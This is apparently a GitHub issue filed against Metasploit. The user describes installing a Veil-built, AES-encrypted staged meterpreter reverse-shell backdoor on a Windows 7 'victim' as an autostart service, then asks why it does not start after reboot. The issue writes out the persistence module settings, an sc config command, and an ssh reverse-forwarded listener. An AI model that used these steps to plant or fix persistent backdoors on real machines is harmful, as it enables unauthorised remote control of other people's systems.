Skip to content

Backdoor installed as SERVICE doesn't start on reboot automatically #10291

@xmagickx

Description

@xmagickx

Steps to reproduce

How'd you do it?

  1. Exploited windows 7
  2. Build a backdoor exe with veil staged meterpreter/reverse_tcp_dns python aes encrypted with LHOST as myssh & LPORT xxxx
  3. Upload the backdoor using post/windows/manage/persistence_exe with the following settings.
    REXENAME= mybackdoor.exe
    REXEPATH= /usr/share/veil/payload.exe
    STARTUP= SERVICE
    SESSION= 1
    LocalExePath= c:/windows/system32
    StartupName= Backdoor
  4. Uploaded successfully and executed the backdoor.
  5. Modified windows services using shell
    sc config "Backdoor" obj= "NT AUTHORITY/NetworkService"
  6. Reboot system.
  7. Setup a payload listener to listen to 0.0.0.0:4444 & port forwarded using ssh -R xxxx:localhost:4444.
  8. Not getting any session because service is not started automatically but I get session when I manually run the uploaded payload by exploiting again & running
    meterpreter> execute -f backdoor.exe

Victim- Windows 7 machine
9. meterpreter> run post/windows/gather/enum_services shows the service is installed & set to Autorun at startup.

Expected behavior

Service should run automatically the backdoor.exe file on startup.

Current behavior

Service and Backdoor.exe doesn't autorun on startup

System stuff

Metasploit version

4.16.65-dev

I installed Metasploit with:

  • Kali package via apt

OS

What OS are you running Metasploit on?

Kali 2018.2

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions